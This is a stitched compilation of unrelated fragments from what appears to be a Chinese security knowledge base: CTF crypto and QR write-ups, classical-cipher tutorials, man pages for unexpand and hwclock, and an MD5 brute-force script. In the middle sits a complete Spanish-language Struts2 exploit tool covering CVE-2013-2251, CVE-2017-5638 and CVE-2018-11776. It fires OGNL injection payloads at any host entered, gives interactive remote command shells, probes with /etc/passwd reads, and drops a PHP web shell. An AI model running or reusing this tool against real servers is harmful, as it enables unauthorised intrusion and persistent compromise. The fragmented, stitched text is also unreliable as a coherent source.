33793492710782731124369494459076474097807208878884233971164269278616670211040150701930155825011078169703308214232135321652078394446224640155796276327836370352633498860894979473374779013668639507298858624745688704898736146513461608044730232178589141572128789087250031273718023043376262651608195761389064329854778210975268322619838848614213216968252753471982762060566109470077138563127080437316815457079933537918356467531614438670082804203944345043085444729429607433486011840510876970137900905036806208322070921744641554316383849334181081430914313498093196130476486829383116502543520979690739362110736793492207923196520816L,
5064525527428049600491919498697464537972502845819664938128937188305922639513846993504687207386360776106923020699628828454337579775714240066556800908455279363001454291677717261452161432964569952225095272897486314418226314084410743187186707224835212073276372184743923025929949904169574601792248026913036485498766503887136170182876527166516406031488332812278716443348188296343938621495282255755130158373758531773477662489309286204821174677297869253776424203299305194343234106107768105109553941283693258837262880530221857757115324039088850806164791445830838849835091131899191925571818438481246247468753757273234134261109718L)
c3, c4 = (
23858001256263338639930754561393744300621498668566466378945331004639513430979203635665722789744134073627181079853617277622660322019360636513261004488765082049390326032711679225336301342778034088938726495035474355141650387408421374480476173872396852119494181935635150757138413142985246448394125423745476143726661234600332521054350310909895716505182112634281850443223646354787752416535512150749925760599825164197040257221389261843550191277292909027805321111623815531377898276273229673439686502578126512634020924256597140201920931951309168862709610195813440797540084536725074915035709996827322859002529289313937152193672624L,
16267453627205268534367753680421495469763757833841239080352379243552352542017520577799374052771731918885648298929081367071246911126370204338693352348289112387958308732218740188775134797384686955193576200043360689334709947260640015994980749571533954121908310007422239513584361571910193760719359731740480942535224174560848463926576528210476460419021197098876171728766893668501013719257464606515863038046180251018737679498423947578193874965936933252602254324298341970127449647765609487557270029347118240547476459496038940032926457872400805963990886019493151641503310555553381629104818030667858884055226529074481528015135269L)
step_one = c4 * modinv(pow(h, B, p), p)
step_two = step_one * modinv(c2, p)
shared_secret = pow(step_two, modinv(A - 1, p - 1), p)
m = (c2 * modinv(shared_secret, p)) % p
print(long_to_bytes(m))
main()
```
And we get `CBCTF{183a3ce8ed93df613b002252dfc741b2}`
|
sec-knowleage
|
# CTF 竞赛内容
由于 CTF 的考题范围其实比较宽广,目前也没有太明确的规定界限说会考哪些内容。但是就目前的比赛题型而言的话,主要还是依据常见的 **Web 网络攻防、RE 逆向工程、Pwn 二进制漏洞利用、Crypto 密码攻击、Mobile
移动安全** 以及 **Misc 安全杂项** 来进行分类。
- **Web - 网络攻防**
主要介绍了 Web 安全中常见的漏洞,如 SQL 注入、XSS、CSRF、文件包含、文件上传、代码审计、PHP 弱类型等,Web 安全中常见的题型及解题思路,并提供了一些常用的工具。
- **Reverse Engineering - 逆向工程**
主要介绍了逆向工程中的常见题型、工具平台、解题思路,进阶部分介绍了逆向工程中常见的软件保护、反编译、反调试、加壳脱壳技术。
- **Pwn - 二进制漏洞利用**
Pwn 题目主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在 CTF 竞赛中,PWN 题目主要出现在 Linux 平台上。
- **Crypto - 密码攻击**
主要包括古典密码学和现代密码学两部分内容,古典密码学趣味性强,种类繁多,现代密码学安全性高,对算法理解的要求较高。
- **Mobile - 移动安全**
主要介绍了安卓逆向中的常用工具和主要问题类型,安卓逆向常常需要一定的安卓开发知识,iOS 逆向题目在 CTF 竞赛中较少出现,因此不作过多介绍。
- **Misc - 安全杂项**
以诸葛建伟翻译的《线上幽灵:世界头号黑客米特尼克自传》和一些典型 MISC 题为切入点,内容主要包括信息搜集、编码分析、取证分析、隐写分析等。
## 全国大学生信息安全竞赛 - 竞赛内容
2016 年全国大学生信息安全竞赛开始举办创新实践技能赛,采取的就是传统的 CTF 赛制。在《2016 年全国大学生信息安全竞赛参赛指南》中主办方给出的竞赛内容相对全面,值得参考。
1. 系统安全。涉及操作系统和 Web 系统安全,包括 Web 网站多种语言源代码审计分析(特别是 PHP)、数据库管理和 SQL 操作、Web 漏洞挖掘和利用(如 SQL 注入和XSS)、服务器提权、编写代码补丁并修复网站漏洞等安全技能。
2. 软件逆向。涉及 Windows/Linux/Android 平台的多种编程技术,要求利用常用工具对源代码及二进制文件进行逆向分析,掌握 Android 移动应用 APK
文件的逆向分析,掌握加解密、内核编程、算法、反调试和代码混淆技术。
3. 漏洞挖掘和利用。掌握 C/C++/Python/PHP/Java/Ruby/汇编 等语言,挖掘 Windows/Linux(x86/x86\_64 平台)二进制程序漏洞,掌握缓冲区溢出和格式化字符串攻击,编写并利用 shellcode。
4. 密码学原理及应用。掌握古典密码学和现代密码学,分析密码算法和协议,计算密钥和进行加解密操作。
5. 其他内容。包括信息搜集能力,编程能力、移动安全、云端计算安全、可信计算、自主可控、隐写术和信息隐藏、计算机取证(Forensics)技术和文件恢复技能,计算机网络基础以及对网络流量的分析能力。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH UNEXPAND 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
unexpand \- 将空格转换为制表符
.SH 概述
\fBunexpand\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
将所列文件中的空格转换为制表符,并输出到标准输出。
.PP
如果没有指定文件,或者指定文件为"\-",则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-a\fP, \fB\-\-all\fP
转换所有的空格,而不仅仅是行首空格
.TP
\fB\-\-first\-only\fP
只转换行首空格(覆盖 \fB\-a\fP 选项)
.TP
\fB\-t\fP, \fB\-\-tabs\fP=\fI\,N\/\fP
每 N 个字符作为一个制表符而不是默认的 8 (启用 \fB\-a\fP 选项)
.TP
\fB\-t\fP, \fB\-\-tabs\fP=\fI\,列表\/\fP
指定制表符位置列表,用逗号分隔。最后的指定位置可以前缀加上‘/’符号以声明在最后一个明确指定制表符位置的声明之后对应位置的倍数均为制表符。另外,还可以使用‘+’的前缀以声明在最后一个明确指定位置的制表符之后每隔多少的位置间距是一个制表符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBexpand\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/unexpand>
.br
或者在本地使用: info \(aq(coreutils) unexpand invocation\(aq
|
sec-knowleage
|
import hashlib
import string
charset = string.printable
sought = '9F46A92422658F61A80DDEE78E7DB914'.decode('hex')
for o1 in map(ord, charset):
o3 = o1 ^ (0xa7 ^ 0xc3)
o8 = o1 ^ (0x89 ^ 0xf5)
o2 = o3 ^ (0x48 ^ 0x48)
o5 = o2 ^ (0x55 ^ 0x0d)
o9 = o3 ^ (0xe5 ^ 0xaf)
o0 = o3 ^ o5 ^ o9 ^ (0x48 ^ 0x4d)
v0 = chr(o0)
v1 = chr(o1)
v2 = chr(o2)
v3 = chr(o3)
v5 = chr(o5)
v8 = chr(o8)
v9 = chr(o9)
for v4 in charset:
for v6 in charset:
for v7 in charset:
passw = v0 + v1 + v2 + v3 + v4 + v5 + v6 + v7 + v8 + v9
if hashlib.md5(passw).digest() == sought:
print passw
|
sec-knowleage
|
#!/usr/bin/python
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time
import sys
import os
import subprocess
import requests
import readline
import urllib.parse
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
def cls():
os.system(['clear', 'cls'][os.name == 'nt'])
cls()
logo = BLUE+'''
___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]=
By @s1kr10s
'''+ENDC
print(logo)
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit2
def exploit3(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploit3
def pwnd(shellfile):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploitfile
def validador():
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepl(ip,port):
# print "perl"
#def reversepy(ip,port):
# print "python"
# CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
if response.read().find("mamalo") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
#print BOLD+" * [SHELL REVERSA]"+ENDC
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
espacio = separador.split(' ')
comando = "','".join(espacio)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
print("\n"+shell.read())
elif espacio[0] == 'pwnd':
pathsave=input("path EJ:/tmp/: ")
if espacio[1] == 'php':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
# CVE-2017-5638 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
try:
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
result = urllib.request.urlopen(req).read()
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
while 1:
try:
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
result = urllib.request.urlopen(req).read()
print("\n"+result)
except:
exit(0)
else:
x = len(validador())
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
# CVE-2018-11776 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
x = 0
while x < len(validador()):
#Filtramos la url solo dominio
url = host.replace('#', '%23')
url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
#Filtramos la url solo path
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
valida = validador()[x]
try:
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
espacio = separador.split(' ')
comando = "%20".join(espacio)
shell = urllib.request.urlopen(host+exploit3(str(comando)))
print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else:
print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0)
|
sec-knowleage
|
hwclock
===
显示与设定硬件时钟
## 补充说明
**hwclock命令** 是一个硬件时钟访问工具,它可以显示当前时间、设置硬件时钟的时间和设置硬件时钟为系统时间,也可设置系统时间为硬件时钟的时间。
在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。
### 语法
```shell
hwclock(选项)
```
### 选项
```shell
--adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟;
--debug:显示hwclock执行时详细的信息;
--directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟;
--hctosys:将系统时钟调整为与目前的硬件时钟一致;
--set --date=<日期与时间>:设定硬件时钟;
--show:显示硬件时钟的时间与日期;
--systohc:将硬件时钟调整为与目前的系统时钟一致;
--test:仅测试程序,而不会实际更改硬件时钟;
--utc:若要使用格林威治时间,请加入此参数,hwclock会执行转换的工作;
--version:显示版本信息。
```
### 实例
设置硬件时间要依赖于操作系统时间,具体方法如下:
```shell
hwclock –systohc
hwclock --systohc –-utc
```
不加任何参数使用hwclock,可以查看当前的硬件日期和时间。
```shell
hwclock
```
查看clock文件,确认是否设置了UTC:
```shell
cat /etc/default/rcS
UTC=yes
```
在其他一些版本的Linux(如RebHat)中可以这样查看:
```shell
cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
UTC=false
ARC=false
```
|
sec-knowleage
|
# 其它类型加密
## 培根密码
### 原理
培根密码使用两种不同的字体,代表 A 和 B,结合加密表进行加解密。
| a | AAAAA | g | AABBA | n | ABBAA | t | BAABA |
| --- | ----- | --- | ----- | --- | ----- | --- | ----- |
| b | AAAAB | h | AABBB | o | ABBAB | u-v | BAABB |
| c | AAABA | i-j | ABAAA | p | ABBBA | w | BABAA |
| d | AAABB | k | ABAAB | q | ABBBB | x | BABAB |
| e | AABAA | l | ABABA | r | BAAAA | y | BABBA |
| f | AABAB | m | ABABB | s | BAAAB | z | BABBB |
上面的是常用的加密表。还有另外的一种加密表,可认为是将 26 个字母从 0 到 25 排序,以二进制表示,A 代表 0,B 代表 1。
下面这一段内容就是明文 steganography 加密后的内容,正常字体是 A,粗体是 B:
**T**o en**co**de **a** mes**s**age e**ac**h letter **of** the **pl**a**i**nt**ex**t **i**s replaced b**y a g**rou**p of f**i**ve** of **th**e lett**ers** **'A'** o**r 'B'**.
可以看到,培根密码主要有以下特点
- 只有两种字符
- 每一段的长度为 5
- 加密内容会有特殊的字体之分,亦或者大小写之分。
### 工具
- http://rumkin.com/tools/cipher/baconian.php
## 栅栏密码
### 原理
栅栏密码把要加密的明文分成 N 个一组,然后把每组的第 1 个字连起来,形成一段无规律的话。这里给出一个例子
```
明文:THERE IS A CIPHER
```
去掉空格后变为
```
THEREISACIPHER
```
分成两栏,两个一组得到
```
TH ER EI SA CI PH ER
```
先取出第一个字母,再取出第二个字母
```
TEESCPE
HRIAIHR
```
连在一起就是
```
TEESCPEHRIAIHR
```
上述明文也可以分为2栏。
```
THEREIS ACIPHER
```
组合得到密文
```
TAHCEIRPEHIESR
```
### 工具
- https://www.qqxiuzi.cn/bianma/zhalanmima.php
## 曲路密码
### 原理
曲路密码(Curve Cipher)是一种换位密码,需要事先双方约定密钥(也就是曲路路径)。下面给出一个例子
```
明文:The quick brown fox jumps over the lazy dog
```
填入 5 行 7 列表(事先约定填充的行列数)
加密的回路线(事先约定填充的行列数)
```
密文:gesfc inpho dtmwu qoury zejre hbxva lookT
```
## 列移位加密
### 原理
列移位密码(Columnar Transposition Cipher)是一种比较简单,易于实现的换位密码,通过一个简单的规则将明文打乱混合成密文。下面给出一个例子。
我们以明文 `The quick brown fox jumps over the lazy dog`,密钥 `how are u` 为例:
将明文填入 5 行 7 列表(事先约定填充的行列数,如果明文不能填充完表格可以约定使用某个字母进行填充)
密钥: `how are u`,按 `how are u` 在字母表中的出现的先后顺序进行编号,我们就有 a 为 1,e 为 2,h 为 3,o 为 4,r 为 5,u 为 6,w 为 7,所以先写出 a 列,其次 e 列,以此类推写出的结果便是密文:
密文: `qoury inpho Tkool hbxva uwmtd cfseg erjez`
### 工具
- http://www.practicalcryptography.com/ciphers/classical-era/columnar-transposition/ 行列数相等
## 01248 密码
### 原理
该密码又称为云影密码,使用 0,1,2,4,8 四个数字,其中 0 用来表示间隔,其他数字以加法可以表示出 如:28=10,124=7,18=9,再用 1->26 表示 A->Z。
可以看出该密码有以下特点
- 只有 0,1,2,4,8
### 例子
这里我们以CFF 2016 影之密码为例进行介绍,题目
> 8842101220480224404014224202480122
我们按照0来进行分割,如下
| 内容 | 数字 | 字符 |
| ------ | -------------- | ---- |
| 88421 | 8+8+4+2+1=23 | W |
| 122 | 1+2+2=5 | E |
| 48 | 4+8=12 | L |
| 2244 | 2+2+4+4=12 | L |
| 4 | 4 | D |
| 142242 | 1+4+2+2+4+2=15 | O |
| 248 | 2+4+8=14 | N |
| 122 | 1+2+2=5 | E |
所以最后的 flag 为 WELLDONE。
## JSFuck
### 原理
JSFuck 可以只用 6 个字符 `[]()!+` 来编写 JavaScript 程序。比如我们想用 JSFuck 来实现 `alert(1)` 代码如下
```javascript
[][(
```
其他一些基本的表达:
```javascript
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()
```
### 工具
- [JSFuck 在线加密网站](http://www.jsfuck.com/)
## BrainFuck
### 原理
Brainfuck,是一种极小化的计算机语言,它是由 Urban Müller 在 1993 年创建的。我们举一个例子,如果我们想要一个在屏幕上打印Hello World!,那么对应的程序如下。对于其中的原理,感兴趣的可以自行网上搜索。
```
++++++++++[>+++++++>++++++++++>+++>+<<<<-]
>++.>+.+++++++..+++.>++.<<+++++++++++++++.
>.+++.------.--------.>+.>.
```
与其对应的还有 ook。
### 工具
- https://www.splitbrain.org/services/ook
## 猪圈密码
### 原理
猪圈密码是一种以格子为基础的简单替代式密码,格子如下
我们举一个例子,如明文为 `X marks the spot` ,那么密文如下
### 工具
- http://www.simonsingh.net/The_Black_Chamber/pigpen.html
## 舞动的小人密码
### 原理
这种密码出自于福尔摩斯探案集。每一个跳舞的小人实际上对应的是英文二十六个字母中的一个,而小人手中的旗子则表明该字母是单词的最后一个字母,如果仅仅是一个单词而不是句子,或者是句子中最后的一个单词,则单词中最后一个字母不必举旗。
## 键盘密码
所谓键盘密码,就是采用手机键盘或者电脑键盘进行加密。
### 手机键盘密码
手机键盘加密方式,是每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过 4,解密的时候参考此
关于手机键盘加密还有另一种方式,就是「音的」式(这一点可能根据手机的不同会有所不同),具体参照手机键盘来打,例如:「数字」表示出来就是:748 94。在手机键盘上面按下这几个数,就会出:「数字」的拼音。
### 电脑键盘棋盘
电脑键盘棋盘加密,利用了电脑的棋盘方阵。
### 电脑键盘坐标
电脑键盘坐标加密,利用键盘上面的字母行和数字行来加密,例:bye 用电脑键盘 XY 表示就是:351613
### 电脑键盘 QWE
电脑键盘 QWE 加密法,就是用字母表替换键盘上面的排列顺序。
### 键盘布局加密
简单地说就是根据给定的字符在键盘上的样子来进行加密。
### 0CTF 2014 classic
> 小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
发现这么乱,还同时包括数字和字母猜想可能是键盘密码,试着在键盘上按照字母顺序描绘一下,可得到0ops字样,猜测就是flag了。
### 2017年xman选拔赛——一二三,木头人
> 我数123木头人,再不行动就要被扣分。
>
> 23731263111628163518122316391715262121
>
> 密码格式xman{flag}
题目中有很明显的提示123,那么就自然需要联想到键盘密码中电脑键盘坐标密码,可以发现前几个数字第二个数字都是1-3范围内的,也验证了我们的猜测。于是
> 23-x
>
> 73-m
>
> 12-a
>
> 63-n
>
> 11-q
不对呀,密码格式是 `xman{`,第四个字符是 `{`,于是看了看 `{` 的位置,其并没有对应的横坐标,但是如果我们手动把它视为 11 的话,那么111就是 `{`。然后依次往后推,发现确实可行,,最后再把 121 视为 `}` 即可得到 flag。
```
xman{hintisenough}
```
从这里我们可以看出,我们还是要注意迁移性,不能单纯地照搬一些已有的知识。
### 题目
- 实验吧 奇怪的短信
|
sec-knowleage
|
# QR code
Network
## QR recovery (150 points)
> Woops, our graphic designer added some special effects, and now it looks like it's not possible to scan our QR code anymore... Can you recover it?
The following file was provided:

This looks like a QR code for which a twirl effect was applied to. Obviously a QR reader can't read this and we need to reverse the effect.
Without an expensive Photoshop license, one has to resort to less advances image processing software. GIMP is usually the recommended alternative, but it suffers from a highly unintuitive user interface and is really frustrating to use. Some online tools, such as [Photopea](https://www.photopea.com/) are sometimes a better choice.
Using Photopea, it's possible to perform a counter-twirl (Filter -> Distort -> Twirl) and bring the image to the following state:

This is much better, but QR scanners still can't handle it.
There probably is a programmatic solution, but at this stage I was leading the board with less than 24 hours to go, and I assumed that this challenge will provide a safe distance from the second place (spoiler: It didn't). So I went for the fastest solution I could think of - manually translating the QR code to zeroes and ones:
```
000000000100100001000011010110100110110101100111000000000
000000000100100011111100011001100011000101110001000000000
000000000001011001010010110100001110101110110111000000000
000000001111010110100000101000101011011010110101000000000
000000000111101100001010011111100111001101000001000000000
000000001011010010010100001000100001000101010010000000000
000000001010101010101010101010101010101010101010100000000
000000001010000010010110101000101000000000010101000000000
011000100010100100001000001111110100001011011001101101000
000001010011011101011101100100111110100110010110000011000
010110110101110110110000100011001000001011111011011110000
111111010011011100000001011100010101110101001000000100101
010111100101110010011010101101001100010101011100110100101
010111001110001100000100001111011001011111110001000101011
111110110110110111100110111110101010100011101111001011000
110010011101110000000010010101000100010001000101010101101
111100100110111100000000000000000000000001001001010011001
110110001001111100000000000000000000000000111001101011000
100111110001000100000000000000000000000001101111001011001
110011010111101000000000000000000000000001000101010001011
110000100100110100000000000000000000000001001000000110101
011011010010110000000000000000000000000001111100000011000
001011110111010100000000000000000000000000101010110110001
001001000111111100000000000000000000000001100001010110001
110001101011001100000000000000000000000001001100100001010
100110010000011000000000000000000000000001111001100010010
001111111010101000000000000000000000000001101111111111101
100110001110010000000000000000000000000001010101100010001
100110101001110100000000000000000000000001000100101011101
010010001010000000000000000000000000000001001000100011000
100111111100010000000000000000000000000000101000111111001
010010000100011000000000000000000000000001011100101100101
001100110111110000000000000000000000000001011001001011101
101010011101101100000000000000000000000000111101100101011
010001111110001000000000000000000000000000101001111101000
001011010101111100000000000000000000000001010100011101001
110010110101100000000000000000000000000000011000101111101
010011001001010100000000000000000000000001001011101101011
001100110110110100000000000000000000000001101001111000011
111111010110000100000000000000000000000001000000111101001
001000100100110100000000000000000000000001000111001010101
101111000010100011000010101111010111011110101000101101011
010100100101011001101001111111000001111011100111000101000
110000011011110111000010000010111100110001010101111100001
100010100001110111010100000100110001110110011101101011001
000001000100010001110000100110000011111011010011101100011
101001101100111100100110111000101100111111001111110101011
111110000111010100010001100001110101100010010100110101101
000000100001100010111101001111111101110111010101111111001
000000001111111101011101111000110111100010001111100010000
000000000101000101101011101010111000111011101000101010011
000000000010110000011110001000101101110001000101100010101
000000000011100001100011101111111001100111010101111111011
000000000100010101011101001011101010110010001001100101010
000000001001101010110010101001001010101110101100010100011
000000001110001110000100100011000111110100010100100001011
000000000010011001011000110111100101100110111100111101101
```
With this data, it's possible to write a short script which will translate it to an image:
```python
from PIL import Image
limit = 57
img = Image.new(mode = "RGB", size = (limit, limit) )
pixels = img.load()
with open("qr.txt") as f:
y = 0
for line in f:
line = line.rstrip()
for x, b in enumerate(line):
if b == "0":
pixels[x,y] = (255, 255, 255)
elif b == "1":
pixels[x,y] = (0, 0, 0)
else:
raise Exception("")
y += 1
img.save('qr_out.png')
```
The result is:

We can now use an image editor to manually add the reference points:

Now QR scanners can recognize the data:
```console
root@kali:/media/sf_CTFs/hackazon/QR_code# zbarimg qr_out2.png
QR-Code:You have solved the impossible QR code! Submit your solution at https://cybertechtlv.hackazon.org with this code: CTF{QRmaster_cybertech}
scanned 1 barcode symbols from 1 images in 0.02 seconds
```
|
sec-knowleage
|
**连载2:**
在上一篇连载中讲到powershell可无缝来调.net framework。而在实战中,内网的代理尤其重要,如常见的端口转发被反病毒软件盯死。本章无图,其他同学如有环境测试,可补图。
介绍 github:
https://raw.githubusercontent.com/p3nt4/Invoke-SocksProxy/master/Invoke-SocksProxy.psm1
### Examples
